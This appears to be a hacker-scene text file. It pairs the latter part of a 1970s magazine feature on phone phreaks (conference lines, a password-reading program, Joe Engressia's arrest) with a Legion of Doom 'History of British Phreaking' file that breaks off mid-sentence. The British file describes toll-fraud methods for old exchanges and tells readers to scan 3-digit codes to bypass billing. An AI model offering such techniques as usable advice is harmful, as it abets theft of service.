Ed the researcher, a nineteen-year-old engineering student, is also a superb
technician. He put together his own working blue box from scratch at age
seventeen. (He is sighted.) This evening after distributing the latest issue
of his in-WATS directory (which has been typed into Braille for the blind phone
phreaks), he announces he has made a major new breakthrough:
"I finally tested it and it works, perfectly. I've got this switching matrix
which converts any touch-tone phone into an M-F-er."
The tones you hear in touch-tone phones are not the M-F tones that operate the
long-distance switching system. Phone phreaks believe A.T.&T. had deliberately
equipped touch tones with a different set of frequencies to avoid putting the
six master M-F tones in the hands of every touch-tone owner. Ed's complex
switching matrix puts the six master tones, in effect put a blue box, in the
hands of every touch-tone owner.
Ed shows me pages of schematics, specifications and parts lists. "It's not easy
to build, but everything here is in the Heathkit catalog."
Ed asks Ralph what progress he has made in his attempts to reestablish a
long-term open conference line for phone phreaks. The last big conference --
the historic "2111" conference -- had been arranged through an unused Telex
test-board trunk somewhere in the innards of a 4A switching machine in
Vancouver, Canada. For months phone phreaks could M-F their way into
Vancouver, beep out 604 (the Vancouver area code) and then beep out 2111 (the
internal phone-company code for Telex testing), and find themselves at any
time, day or night, on an open wire talking with an array of phone phreaks from
coast to coast, operators from Bermuda, Tokyo and London who are phone-phreak
sympathizers, and miscellaneous guests and technical experts. The conference
was a massive exchange of information. Phone phreaks picked each other's
brains clean, then developed new ways to pick the phone company's brains clean.
Ralph gave M F Boogies concerts with his home-entertainment-type electric
organ, Captain Crunch demonstrated his round-the-world prowess with his
notorious computerized unit and dropped leering hints of the "action" he was
getting with his girl friends. (The Captain lives out or pretends to live out
several kinds of fantasies to the gossipy delight of the blind phone phreaks
who urge him on to further triumphs on behalf of all of them.) The somewhat
rowdy Northwest phone-phreak crowd let their bitter internal feud spill over
into the peaceable conference line, escalating shortly into guerrilla warfare;
Carl the East Coast international tone relations expert demonstrated newly
opened direct M-F routes to central offices on the island of Bahrein in the
Persian Gulf, introduced a new phone-phreak friend of his in Pretoria, and
explained the technical operation of the new Oakland-to Vietnam linkages.
(Many phone phreaks pick up spending money by M-F-ing calls from relatives to
Vietnam G.I.'s, charging $5 for a whole hour of trans-Pacific conversation.)
Day and night the conference line was never dead. Blind phone phreaks all over
the country, lonely and isolated in homes filled with active sighted brothers
and sisters, or trapped with slow and unimaginative blind kids in straitjacket
schools for the blind, knew that no matter how late it got they could dial up
the conference and find instant electronic communion with two or three other
blind kids awake over on the other side of America. Talking together on a
phone hookup, the blind phone phreaks say, is not much different from being
there together. Physically, there was nothing more than a two-inch-square wafer
of titanium inside a vast machine on Vancouver Island. For the blind kids
>there< meant an exhilarating feeling of being in touch, through a kind of
skill and magic which was peculiarly their own.
Last April 1, however, the long Vancouver Conference was shut off. The phone
phreaks knew it was coming. Vancouver was in the process of converting from a
step-by-step system to a 4A machine and the 2111 Telex circuit was to be wiped
out in the process. The phone phreaks learned the actual day on which the
conference would be erased about a week ahead of time over the phone company's
internal-news-and-shop-talk recording.
For the next frantic seven days every phone phreak in America was on and off
the 2111 conference twenty-four hours a day. Phone phreaks who were just
learning the game or didn't have M-F capability were boosted up to the
conference by more experienced phreaks so they could get a glimpse of what it
was like before it disappeared. Top phone phreaks searched distant area codes
for new conference possibilities without success. Finally in the early morning
of April 1, the end came.
"I could feel it coming a couple hours before midnight," Ralph remembers. "You
could feel something going on in the lines. Some static began showing up, then
some whistling wheezing sound. Then there were breaks. Some people got cut
off and called right back in, but after a while some people were finding they
were cut off and couldn't get back in at all. It was terrible. I lost it
about one a.m., but managed to slip in again and stay on until the thing
died... I think it was about four in the morning. There were four of us still
hanging on when the conference disappeared into nowhere for good. We all tried
to M-F up to it again of course, but we got silent termination. There was
nothing there."
The Legendary Mark Bernay Turns Out To Be "The Midnight Skulker"
Mark Bernay. I had come across that name before. It was on Gilbertson's
select list of phone phreaks. The California phone phreaks had spoken of a
mysterious Mark Bernay as perhaps the first and oldest phone phreak on the West
Coast. And in fact almost every phone phreak in the West can trace his origins
either directly to Mark Bernay or to a disciple of Mark Bernay.
It seems that five years ago this Mark Bernay (a pseudonym he chose for
himself) began traveling up and down the West Coast pasting tiny stickers in
phone books all along his way. The stickers read something like "Want to hear
an interesting tape recording? Call these numbers." The numbers that followed
were toll-free loop-around pairs. When one of the curious called one of the
numbers he would hear a tape recording pre-hooked into the loop by Bernay which
explained the use of loop-around pairs, gave the numbers of several more, and
ended by telling the caller, "At six o'clock tonight this recording will stop
and you and your friends can try it out. Have fun."
"I was disappointed by the response at first," Bernay told me, when I finally
reached him at one of his many numbers and he had dispensed with the usual "I
never do anything illegal" formalities which experienced phone phreaks open
most conversations.
"I went all over the coast with these stickers not only on pay phones, but I'd
throw them in front of high schools in the middle of the night, I'd leave them
unobtrusively in candy stores, scatter them on main streets of small towns. At
first hardly anyone bothered to try it out. I would listen in for hours and
hours after six o'clock and no one came on. I couldn't figure out why people
wouldn't be interested. Finally these two girls in Oregon tried it out and
told all their friends and suddenly it began to spread."
Before his Johny Appleseed trip Bernay had already gathered a sizable group of
early pre-blue-box phone phreaks together on loop-arounds in Los Angeles.
Bernay does not claim credit for the original discovery of the loop-around
numbers. He attributes the discovery to an eighteen-year-old reform school kid
in Long Beach whose name he forgets and who, he says, "just disappeared one
day." When Bernay himself discovered loop-arounds independently, from clues in
his readings in old issues of the Automatic Electric Technical Journal, he
found dozens of the reform-school kid's friends already using them. However, it
was one of Bernay's disciples in Seattle that introduced phone phreaking to
blind kids. The Seattle kid who learned about loops through Bernay's recording
told a blind friend, the blind kid taught the secret to his friends at a winter
camp for blind kids in Los Angeles. When the camp session was over these kids
took the secret back to towns all over the West. This is how the original
blind kids became phone phreaks. For them, for most phone phreaks in general,
it was the discovery of the possibilities of loop-arounds which led them on to
far more serious and sophisticated phone-phreak methods, and which gave them a
medium for sharing their discoveries.
A year later a blind kid who moved back east brought the technique to a blind
kids' summer camp in Vermont, which spread it along the East Coast. All from a
Mark Bernay sticker.
Bernay, who is nearly thirty years old now, got his start when he was fifteen
and his family moved into an L.A. suburb serviced by General Telephone and
Electronics equipment. He became fascinated with the differences between Bell
and G.T.&E. equipment. He learned he could make interesting things happen by
carefully timed clicks with the disengage button. He learned to interpret
subtle differences in the array of clicks, whirrs and kachinks he could hear on
his lines. He learned he could shift himself around the switching relays of
the L.A. area code in a not-too-predictable fashion by interspersing his own
hook-switch clicks with the clicks within the line. (Independent phone
companies -- there are nineteen hundred of them still left, most of them tiny
island principalities in Ma Bell's vast empire -- have always been favorites
with phone phreaks, first as learning tools, then as Archimedes platforms from
which to manipulate the huge Bell system. A phone phreak in Bell territory
will often M-F himself into an independent's switching system, with switching
idiosyncrasies which can give him marvelous leverage over the Bell System.
"I have a real affection for Automatic Electric Equipment," Bernay told me.
"There are a lot of things you can play with. Things break down in interesting
ways."
Shortly after Bernay graduated from college (with a double major in chemistry
and philosophy), he graduated from phreaking around with G.T.&E. to the Bell
System itself, and made his legendary sticker-pasting journey north along the
coast, settling finally in Northwest Pacific Bell territory. He discovered
that if Bell does not break down as interestingly as G.T.&E., it nevertheless
offers a lot of "things to play with."
Bernay learned to play with blue boxes. He established his own personal
switchboard and phone-phreak research laboratory complex. He continued his
phone-phreak evangelism with ongoing sticker campaigns. He set up two recording
numbers, one with instructions for beginning phone phreaks, the other with
latest news and technical developments (along with some advanced instruction)
gathered from sources all over the country.
These days, Bernay told me, he had gone beyond phone-phreaking itself. "Lately
I've been enjoying playing with computers more than playing with phones. My
personal thing in computers is just like with phones, I guess -- the kick is in
finding out how to beat the system, how to get at things I'm not supposed to
know about, how to do things with the system that I'm not supposed to be able
to do."
As a matter of fact, Bernay told me, he had just been fired from his
computer-programming job for doing things he was not supposed to be able to do.
he had been working with a huge time-sharing computer owned by a large
corporation but shared by many others. Access to the computer was limited to
those programmers and corporations that had been assigned certain passwords.
And each password restricted its user to access to only the one section of the
computer cordoned off from its own information storager. The password system
prevented companies and individuals from stealing each other's information.
"I figured out how to write a program that would let me read everyone else's
password," Bernay reports. "I began playing around with passwords. I began
letting the people who used the computer know, in subtle ways, that I knew
their passwords. I began dropping notes to the computer supervisors with hints
that I knew what I know. I signed them 'The Midnight Skulker.' I kept getting
cleverer and cleverer with my messages and devising ways of showing them what I
could do. I'm sure they couldn't imagine I could do the things I was showing
them. But they never responded to me. Every once in a while they'd change the
passwords, but I found out how to discover what the new ones were, and I let
them know. But they never responded directly to the Midnight Skulker. I even
finally designed a program which they could use to prevent my program from
finding out what it did. In effect I told them how to wipe me out, The
Midnight Skulker. It was a very clever program. I started leaving clues about
myself. I wanted them to try and use it and then try to come up with something
to get around that and reappear again. But they wouldn't play. I wanted to
get caught. I mean I didn't want to get caught personally, but I wanted them
to notice me and admit that they noticed me. I wanted them to attempt to
respond, maybe in some interesting way."
Finally the computer managers became concerned enough about the threat of
information-stealing to respond. However, instead of using The Midnight
Skulker's own elegant self-destruct program, they called in their security
personnel, interrogated everyone, found an informer to identify Bernay as The
Midnight Skulker, and fired him.
"At first the security people advised the company to hire me full-time to
search out other flaws and discover other computer freaks. I might have liked
that. But I probably would have turned into a double double agent rather than
the double agent they wanted. I might have resurrected The Midnight Skulker
and tried to catch myself. Who knows? Anyway, the higher-ups turned the whole
idea down."
You Can Tap the F.B.I.'s Crime Control Computer in the Comfort of Your Own
Home, Perhaps
Computer freaking may be the wave of the future. It suits the phone-phreak
sensibility perfectly. Gilbertson, the blue-box inventor and a lifelong phone
phreak, has also gone on from phone-phreaking to computer-freaking. Before he
got into the blue-box business Gilbertson, who is a highly skilled programmer,
devised programs for international currency arbitrage.
But he began playing with computers in earnest when he learned he could use his
blue box in tandem with the computer terminal installed in his apartment by the
instrumentation firm he worked for. The print-out terminal and keyboard was
equipped with acoustical coupling, so that by coupling his little ivory
Princess phone to the terminal and then coupling his blue box on that, he could
M-F his way into other computers with complete anonymity, and without charge;
program and re-program them at will; feed them false or misleading information;
tap and steal from them. He explained to me that he taps computers by busying
out all the lines, then going into a verification trunk, listening into the
passwords and instructions one of the time sharers uses, and them M-F-ing in
and imitating them. He believes it would not be impossible to creep into the
F.B.I's crime control computer through a local police computer terminal and
phreak around with the F.B.I.'s memory banks. He claims he has succeeded in
re-programming a certain huge institutional computer in such a way that it has
cordoned off an entire section of its circuitry for his personal use, and at
the same time conceals that arrangement from anyone else's notice. I have been
unable to verify this claim.
Like Captain Crunch, like Alexander Graham Bell (pseudonym of a
disgruntled-looking East Coast engineer who claims to have invented the black
box and now sells black and blue boxes to gamblers and radical heavies), like
most phone phreaks, Gilbertson began his career trying to rip off pay phones as
a teenager. Figure them out, then rip them off. Getting his dime back from
the pay phone is the phone phreak's first thrilling rite of passage. After
learning the usual eighteen different ways of getting his dime back, Gilbertson
learned how to make master keys to coin-phone cash boxes, and get everyone
else's dimes back. He stole some phone-company equipment and put together his
own home switchboard with it. He learned to make a simple "bread-box" device,
of the kind used by bookies in the Thirties (bookie gives a number to his
betting clients; the phone with that number is installed in some widow lady's
apartment, but is rigged to ring in the bookie's shop across town, cops trace
big betting number and find nothing but the widow).
Not long after that afternoon in 1968 when, deep in the stacks of an
engineering library, he came across a technical journal with the phone tone
frequencies and rushed off to make his first blue box, not long after that
Gilbertson abandoned a very promising career in physical chemistry and began
selling blue boxes for $1,500 apiece.
"I had to leave physical chemistry. I just ran out of interesting things to
learn," he told me one evening. We had been talking in the apartment of the
man who served as the link between Gilbertson and the syndicate in arranging
the big $300,000 blue-box deal which fell through because of legal trouble.
There has been some smoking.
"No more interesting things to learn," he continues. "Physical chemistry turns
out to be a sick subject when you take it to its highest level. I don't know.
I don't think I could explain to you how it's sick. You have to be there. But
you get, I don't know, a false feeling of omnipotence. I suppose it's like
phone-phreaking that way. This huge thing is there. This whole system. And
there are holes in it and you slip into them like Alice and you're pretending
you're doing something you're actually not, or at least it's no longer you
that's doing what you thought you were doing. It's all Lewis Carroll.
Physical chemistry and phone-phreaking. That's why you have these phone-phreak
pseudonyms like The Cheshire Cat, the Red King, and The Snark. But there's
something about phone-phreaking that you don't find in physical chemistry." He
looks up at me:
"Did you ever steal anything?"
"Well yes, I..."
"Then you know! You know the rush you get. It's not just knowledge, like
physical chemistry. It's forbidden knowledge. You know. You can learn about
anything under the sun and be bored to death with it. But the idea that it's
illegal. Look: you can be small and mobile and smart and you're ripping off
somebody large and powerful and very dangerous."
People like Gilbertson and Alexander Graham Bell are always talking about
ripping off the phone company and screwing Ma Bell. But if they were shown a
single button and told that by pushing it they could turn the entire circuitry
of A.T.&T. into molten puddles, they probably wouldn't push it. The
disgruntled-inventor phone phreak needs the phone system the way the lapsed
Catholic needs the Church, the way Satan needs a God, the way The Midnight
Skulker needed, more than anything else, response.
Later that evening Gilbertson finished telling me how delighted he was at the
flood of blue boxes spreading throughout the country, how delighted he was to
know that "this time they're really screwed." He suddenly shifted gears.
"Of course. I do have this love/hate thing about Ma Bell. In a way I almost
like the phone company. I guess I'd be very sad if they were to disintegrate.
In a way it's just that after having been so good they turn out to have these
things wrong with them. It's those flaws that allow me to get in and mess with
them, but I don't know. There's something about it that gets to you and makes
you want to get to it, you know."
I ask him what happens when he runs out of interesting, forbidden things to
learn about the phone system.
"I don't know, maybe I'd go to work for them for a while."
"In security even?"
"I'd do it, sure. I just as soon play -- I'd just as soon work on either
side."
"Even figuring out how to trap phone phreaks? I said, recalling Mark Bernay's
game."
"Yes, that might be interesting. Yes, I could figure out how to outwit the
phone phreaks. Of course if I got too good at it, it might become boring
again. Then I'd have to hope the phone phreaks got much better and outsmarted
me for a while. That would move the quality of the game up one level. I might
even have to help them out, you know, 'Well, kids, I wouldn't want this to get
around but did you ever think of -- ?' I could keep it going at higher and
higher levels forever."
The dealer speaks up for the first time. He has been staring at the soft
blinking patterns of light and colors on the translucent tiled wall facing him.
(Actually there are no patterns: the color and illumination of every tile is
determined by a computerized random-number generator designed by Gilbertson
which insures that there can be no meaning to any sequence of events in the
tiles.)
"Those are nice games you're talking about," says the dealer to his friend.
"But I wouldn't mind seeing them screwed. A telephone isn't private anymore.
You can't say anything you really want to say on a telephone or you have to go
through that paranoid bullshit. 'Is it cool to talk on the phone?' I mean,
even if it is cool, if you have to ask 'Is it cool,' then it isn't cool. You
know. 'Is it cool,' then it isn't cool. You know. Like those blind kids,
people are going to start putting together their own private telephone
companies if they want to really talk. And you know what else. You don't hear
silences on the phone anymore. They've got this time-sharing thing on
long-distance lines where you make a pause and they snip out that piece of time
and use it to carry part of somebody else's conversation. Instead of a pause,
where somebody's maybe breathing or sighing, you get this blank hole and you
only start hearing again when someone says a word and even the beginning of the
word is clipped off. Silences don't count -- you're paying for them, but they
take them away from you. It's not cool to talk and you can't hear someone when
they don't talk. What the hell good is the phone? I wouldn't mind seeing them
totally screwed."
The Big Memphis Bust
Joe Engressia never wanted to screw Ma Bell. His dream had always been to work
for her.
The day I visited Joe in his small apartment on Union Avenue in Memphis, he was
upset about another setback in his application for a telephone job.
"They're stalling on it. I got a letter today telling me they'd have to
postpone the interview I requested again. My landlord read it for me. They
gave me some runaround about wanting papers on my rehabilitation status but I
think there's something else going on."
When I switched on the 40-watt bulb in Joe's room -- he sometimes forgets when
he has guests -- it looked as if there was enough telephone hardware to start a
small phone company of his own.
There is one phone on top of his desk, one phone sitting in an open drawer
beneath the desk top. Next to the desk-top phone is a cigar-box-size M-F
device with big toggle switches, and next to that is some kind of switching and
coupling device with jacks and alligator plugs hanging loose. Next to that is
a Braille typewriter. On the floor next to the desk, lying upside down like a
dead tortoise, is the half-gutted body of an old black standard phone. Across
the room on a torn and dusty couch are two more phones, one of them a
touch-tone model; two tape recorders; a heap of phone patches and cassettes,
and a life-size toy telephone.
Our conversation is interrupted every ten minutes by phone phreaks from all
over the country ringing Joe on just about every piece of equipment but the toy
phone and the Braille typewriter. One fourteen-year-old blind kid from
Connecticut calls up and tells Joe he's got a girl friend. He wants to talk to
Joe about girl friends. Joe says they'll talk later in the evening when they
can be alone on the line. Joe draws a deep breath, whistles him off the air
with an earsplitting 2600-cycle whistle. Joe is pleased to get the calls but he
looked worried and preoccupied that evening, his brow constantly furrowed over
his dark wandering eyes. In addition to the phone-company stall, he has just
learned that his apartment house is due to be demolished in sixty days for
urban renewal. For all its shabbiness, the Union Avenue apartment house has
been Joe's first home-of-his-own and he's worried that he may not find another
before this one is demolished.
But what really bothers Joe is that switchmen haven't been listening to him.
"I've been doing some checking on 800 numbers lately, and I've discovered that
certain 800 numbers in New Hampshire couldn't be reached from Missouri and
Kansas. Now it may sound like a small thing, but I don't like to see sloppy
work; it makes me feel bad about the lines. So I've been calling up switching
offices and reporting it, but they haven't corrected it. I called them up for
the third time today and instead of checking they just got mad. Well, that
gets me mad. I mean, I do try to help them. There's something about them I
can't understand -- you want to help them and they just try to say you're
defrauding them."
It is Sunday evening and Joe invites me to join him for dinner at a Holiday
Inn. Frequently on Sunday evening Joe takes some of his welfare money, calls a
cab, and treats himself to a steak dinner at one of Memphis' thirteen Holiday
Inns. (Memphis is the headquarters of Holiday Inn. Holiday Inns have been a
favorite for Joe ever since he made his first solo phone trip to a Bell
switching office in Jacksonville, Florida, and stayed in the Holiday Inn there.
He likes to stay at Holiday Inns, he explains, because they represent freedom
to him and because the rooms are arranged the same all over the country so he
knows that any Holiday Inn room is familiar territory to him. Just like any
telephone.)
Over steaks in the Pinnacle Restaurant of the Holiday Inn Medical Center on
Madison Avenue in Memphis, Joe tells me the highlights of his life as a phone
phreak.
At age seven, Joe learned his first phone trick. A mean baby-sitter, tired of
listening to little Joe play with the phone as he always did, constantly, put a
lock on the phone dial. "I got so mad. When there's a phone sitting there and
I can't use it... so I started getting mad and banging the receiver up and
down. I noticed I banged it once and it dialed one. Well, then I tried
banging it twice...." In a few minutes Joe learned how to dial by pressing the
hook switch at the right time. "I was so excited I remember going 'whoo whoo'
and beat a box down on the floor."
At age eight Joe learned about whistling. "I was listening to some intercept
non working-number recording in L.A.- I was calling L.A. as far back as that,
but I'd mainly dial non working numbers because there was no charge, and I'd
listen to these recordings all day. Well, I was whistling 'cause listening to
these recordings can be boring after a while even if they are from L.A., and
all of a sudden, in the middle of whistling, the recording clicked off. I
fiddled around whistling some more, and the same thing happened. So I called
up the switch room and said, 'I'm Joe. I'm eight years old and I want to know
why when I whistle this tune the line clicks off.' He tried to explain it to
me, but it was a little too technical at the time. I went on learning. That
was a thing nobody was going to stop me from doing. The phones were my life,
and I was going to pay any price to keep on learning. I knew I could go to
jail. But I had to do what I had to do to keep on learning."
The phone is ringing when we walk back into Joe's apartment on Union Avenue.
It is Captain Crunch. The Captain has been following me around by phone,
calling up everywhere I go with additional bits of advice and explanation for
me and whatever phone phreak I happen to be visiting. This time the Captain
reports he is calling from what he describes as "my hideaway high up in the
Sierra Nevada." He pulses out lusty salvos of M-F and tells Joe he is about to
"go out and get a little action tonight. Do some phreaking of another kind, if
you know what I mean." Joe chuckles.
The Captain then tells me to make sure I understand that what he told me about
tying up the nation's phone lines was true, but that he and the phone phreaks
he knew never used the technique for sabotage. They only learned the technique
to help the phone company.
"We do a lot of troubleshooting for them. Like this New Hampshire/Missouri
WATS-line flaw I've been screaming about. We help them more than they know."
After we say good-bye to the Captain and Joe whistles him off the line, Joe
tells me about a disturbing dream he had the night before: "I had been caught
and they were taking me to a prison. It was a long trip. They were taking me
to a prison a long long way away. And we stopped at a Holiday Inn and it was
my last night ever using the phone and I was crying and crying, and the lady at
the Holiday Inn said, 'Gosh, honey, you should never be sad at a Holiday Inn.
You should always be happy here. Especially since it's your last night.' And
that just made it worse and I was sobbing so much I couldn't stand it."
Two weeks after I left Joe Engressia's apartment, phone-company security agents
and Memphis police broke into it. Armed with a warrant, which they left pinned
to a wall, they confiscated every piece of equipment in the room, including his
toy telephone. Joe was placed under arrest and taken to the city jail where he
was forced to spend the night since he had no money and knew no one in Memphis
to call.
It is not clear who told Joe what that night, but someone told him that the
phone company had an open-and-shut case against him because of revelations of
illegal activity he had made to a phone-company undercover agent.
By morning Joe had become convinced that the reporter from Esquire, with whom
he had spoken two weeks ago, was the undercover agent. He probably had ugly
thoughts about someone he couldn't see gaining his confidence, listening to him
talk about his personal obsessions and dreams, while planning all the while to
lock him up.
"I really thought he was a reporter," Engressia told the Memphis Press-Seminar.
"I told him everything...." Feeling betrayed, Joe proceeded to confess
everything to the press and police.
As it turns out, the phone company did use an undercover agent to trap Joe,
although it was not the Esquire reporter.
Ironically, security agents were alerted and began to compile a case against
Joe because of one of his acts of love for the system: Joe had called an
internal service department to report that he had located a group of defective
long-distance trunks, and to complain again about the New Hampshire/Missouri
WATS problem. Joe always liked Ma Bell's lines to be clean and responsive. A
suspicious switchman reported Joe to the security agents who discovered that
Joe had never had a long-distance call charged to his name.
Then the security agents learned that Joe was planning one of his phone trips
to a local switching office. The security people planted one of their agents
in the switching office. He posed as a student switchman and followed Joe
around on a tour. He was extremely friendly and helpful to Joe, leading him
around the office by the arm. When the tour was over he offered Joe a ride back
to his apartment house. On the way he asked Joe -- one tech man to another --
about "those blue boxers" he'd heard about. Joe talked about them freely,
talked about his blue box freely, and about all the other things he could do
with the phones.
The next day the phone-company security agents slapped a monitoring tape on
Joe's line, which eventually picked up an illegal call. Then they applied for
the search warrant and broke in.
In court Joe pleaded not guilty to possession of a blue box and theft of
service. A sympathetic judge reduced the charges to malicious mischief and
found him guilty on that count, sentenced him to two thirty-day sentences to be
served concurrently and then suspended the sentence on condition that Joe
promise never to play with phones again. Joe promised, but the phone company
refused to restore his service. For two weeks after the trial Joe could not be
reached except through the pay phone at his apartment house, and the landlord
screened all calls for him.
Phone-phreak Carl managed to get through to Joe after the trial, and reported
that Joe sounded crushed by the whole affair.
"What I'm worried about," Carl told me, "is that Joe means it this time. The
promise. That he'll never phone-phreak again. That's what he told me, that
he's given up phone-phreaking for good. I mean his entire life. He says he
knows they're going to be watching him so closely for the rest of his life
he'll never be able to make a move without going straight to jail. He sounded
very broken up by the whole experience of being in jail. It was awful to hear
him talk that way. I don't know. I hope maybe he had to sound that way. Over
the phone, you know."
He reports that the entire phone-phreak underground is up in arms over the
phone company's treatment of Joe. "All the while Joe had his hopes pinned on
his application for a phone-company job, they were stringing him along getting
ready to bust him. That gets me mad. Joe spent most of his time helping them
out. The bastards. They think they can use him as an example. All of sudden
they're harassing us on the coast. Agents are jumping up on our lines. They
just busted ------'s mute yesterday and ripped out his lines. But no matter
what Joe does, I don't think we're going to take this lying down."
Two weeks later my phone rings and about eight phone phreaks in succession say
hello from about eight different places in the country, among them Carl, Ed,
and Captain Crunch. A nationwide phone-phreak conference line has been
reestablished through a switching machine in --------, with the cooperation of
a disgruntled switchman.
"We have a special guest with us today," Carl tells me.
The next voice I hear is Joe's. He reports happily that he has just moved to a
place called Millington, Tennessee, fifteen miles outside of Memphis, where he
has been hired as a telephone-set repairman by a small independent phone
company. Someday he hopes to be an equipment troubleshooter.
"It's the kind of job I dreamed about. They found out about me from the
publicity surrounding the trial. Maybe Ma Bell did me a favor busting me.
I'll have telephones in my hands all day long."
"You know the expression, 'Don't get mad, get even'?" phone-phreak Carl asked
me. "Well, I think they're going to be very sorry about what they did to Joe
and what they're trying to do to us."
(an excellent story presented here by Jolly Roger.
Taken from the Official Hacker's Guide. Originally
seen by myself in some book and I cannot remember
the name of it.)
-->Courtesy of Exodus<--
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$ $
$ THE HISTORY OF BRITISH PHREAKING $
$ -=- -=-=-=- -- -=-=-=- -=-=-=-=- $
$ $
$ THE SECOND IN A SERIES OF $
$ THE HISTORY OF.....PHILES $
$ $
$ WRITTEN AND UPLOADED BY: $
$ $
$$$$$$$$$$$$-=>LEX LUTHOR<=-$$$$$$$$$$$
$ AND $
$ THE LEGION OF DOOM! $
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
NOTE: THE BRITISH POST OFFICE, IS THE U.S. EQUIVALENT OF MA BELL.
IN BRITAIN, PHREAKING GOES BACK TO THE EARLY FIFTIES, WHEN THE TECHNIQUE OF
'TOLL A DROP BACK' WAS DISCOVERED. TOLL A WAS AN EXCHANGE NEAR ST. PAULS
WHICH ROUTED CALLS BETWEEN LONDON AND NEARBY NON-LONDON EXCHANGES. THE TRICK
WAS TO DIAL AN UNALLOCATED NUMBER, AND THEN DEPRESS THE RECEIVER-REST FOR 1/2
SECOND. THIS FLASHING INITIATED THE 'CLEAR FORWARD' SIGNAL, LEAVING THE CALLER
WITH AN OPEN LINE INTO THE TOLL A EXCHANGE.THE COULD THEN DIAL 018, WHICH
FORWARDED HIM TO THE TRUNK EXCHANGE AT THAT TIME, THE FIRST LONG DISTANCE
EXCHANGE IN BRITAIN AND FOLLOW IT WITH THE CODE FOR THE DISTANT EXCHANGE TO
WHICH HE WOULD BE CONNECTED AT NO EXTRA CHARGE.
THE SIGNALS NEEDED TO CONTROL THE UK NETWORK TODAY WERE PUBLISHED IN THE
"INSTITUTION OF POST OFFICE ENGINEERS JOURNAL" AND REPRINTED IN THE SUNDAY
TIMES (15 OCT. 1972).
THE SIGNALLING SYSTEM THEY USE: SIGNALLING SYSTEM NO. 3 USES PAIRS OF
FREQUENCIES SELECTED FROM 6 TONES SEPARATED BY 120HZ. WITH THAT INFO, THE
PHREAKS MADE "BLEEPERS" OR AS THEY ARE CALLED HERE IN THE U.S. "BLUE BOX", BUT
THEY DO UTILIZE DIFFERENT MF TONES THEN THE U.S., THUS, YOUR U.S. BLUE BOX
THAT YOU SMUGGLED INTO THE UK WILL NOT WORK, UNLESS YOU CHANGE THE
FREQUENCIES.
IN THE EARLY SEVENTIES, A SIMPLER SYSTEM BASED ON DIFFERENT NUMBERS OF PULSES
WITH THE SAME FREQUENCY (2280HZ) WAS USED. FOR MORE INFO ON THAT, TRY TO GET A
HOLD OF: ATKINSON'S "TELEPHONY AND SYSTEMS TECHNOLOGY".
IN THE EARLY DAYS OF BRITISH PHREAKING, THE CAMBRIDGE UNIVERSITY TITAN
COMPUTER WAS USED TO RECORD AND CIRCULATE NUMBERS FOUND BY THE EXHAUSTIVE
DIALING OF LOCAL NETWORKS. THESE NUMBERS WERE USED TO CREATE A CHAIN OF LINKS
FROM LOCAL EXCHANGE TO LOCAL EXCHANGE ACROSS THE COUNTRY, BYPASSING THE TRUNK
CIRCUITS. BECAUSE THE INTERNAL ROUTING CODES IN THE UK NETWORK ARE NOT THE
SAME AS THOSE DIALED BY THE CALLER, THE PHREAKS HAD TO DISCOVER THEM BY 'PROBE
AND LISTEN' TECHNIQUES OR MORE COMMONLY KNOWN IN THE U.S.-- SCANNING. WHAT
THEY DID WAS PUT IN LIKELY SIGNALS AND LISTENED TO FIND OUT IF THEY SUCCEEDED.
THE RESULTS OF SCANNING WERE CIRCULATED TO OTHER PHREAKS. DISCOVERING EACH
OTHER TOOK TIME AT FIRST, BUT EVENTUALLY THE PHREAKS BECAME ORGANIZED. THE
"TAP" OF BRITAIN WAS CALLED "UNDERCURRENTS" WHICH ENABLED BRITISH PHREAKS TO
SHARE THE INFO ON NEW NUMBERS, EQUIPMENT ETC.
TO UNDERSTAND WHAT THE BRITISH BRITISH PHREAKS DID, THINK OF THE PHONE
NETWORK IN THREE LAYERS OF LINES: LOCAL, TRUNK, AND INTERNATIONAL.#IN THE UK,
SUBSCRIBER TRUNK DIALING (STD), IS THE MECHANISM WHICH TAKES A CALL FROM THE
LOCAL LINES AND (LEGITIMATELY) ELEVATES IT TO A TRUNK OR INTERNATIONAL
LEVEL.#THE UK PHREAKS FIGURED THAT A CALL AT TRUNK LEVEL CAN BE ROUTED THROUGH
ANY NUMBER OF EXCHANGES, PROVIDED THAT THE RIGHT ROUTING CODES WERE FOUND AND
USED CORRECTLY. THEY ALSO HAD TO DISCOVER HOW TO GET FROM LOCAL TO TRUNK LEVEL
EITHER WITHOUT BEING CHARGED (WHICH THEY DID WITH A BLEEPER BOX) OR WITHOUT
USING (STD). CHAINING HAS ALREADY BEEN MENTIONED BUT IT REQUIRES LONG STRINGS
OF DIGITS AND SPEECH GETS MORE AND MORE FAINT AS THE CHAIN GROWS, JUST LIKE IT
DOES WHEN YOU STACK TRUNKS BACK AND FORTH ACROSS THE U.S.#THE WAY THE SECURITY
REPS SNAGGED THE PHREAKS WAS TO PUT A SIMPLE 'PRINTERMETER' OR AS WE CALL IT:
A PEN REGISTER ON THE SUSPECTS LINE, WHICH SHOWS EVERY DIGIT DIALED FROM THE
SUBSCRIBERS LINE.
THE BRITISH PREFER TO GET ONTO THE TRUNKS RATHER THAN CHAINING. ONE WAY WAS
TO DISCOVER WHERE LOCAL CALLS USE THE TRUNKS BETWEEN NEIGHBORING EXCHANGES,
START A CALL AND STAY ON THE TRUNK INSTEAD OF RETURNING TO THE LOCAL LEVEL ON
REACHING THE DISTANT SWITCH. THIS AGAIN REQUIRED EXHAUSTIVE DIALING AND MADE
MORE WORK FOR TITAN; IT ALSO REVEALED 'FIDDLES', WHICH WERE INSERTED BY POST
OFFICE ENGINEERS.
WHAT FIDDLING MEANS IS THAT THE ENGINEERS REWIRED THE EXCHANGES FOR THEIR OWN
BENEFIT. THE EQUIPMENT IS MODIFIED TO GIVE ACCESS TO A TRUNK WITH OUT BEING
CHARGED, AN OPERATION WHICH IS PRETTY EASY IN STEP BY STEP (SXS)
ELECTROMECHANICAL EXCHANGES, WHICH WERE INSTALLED IN BRITAIN EVEN IN THE 1970S
(NOTE: I KNOW OF A BACK DOOR INTO THE CANADIAN SYSTEM ON A 4A CO., SO IF YOU
ARE ON SXS OR A 4A, TRY SCANNING 3 DIGIT EXCHANGES, IE: DIAL 999,998,997
ETC.#AND LISTEN FOR THE BEEP-KERCHINK, IF THERE ARE NO 3 DIGIT CODES WHICH
ALLOW DIRECT ACCESS TO A TANDEM IN YOUR LOCAL EXCHANGE AND BYPASSES THE AMA SO
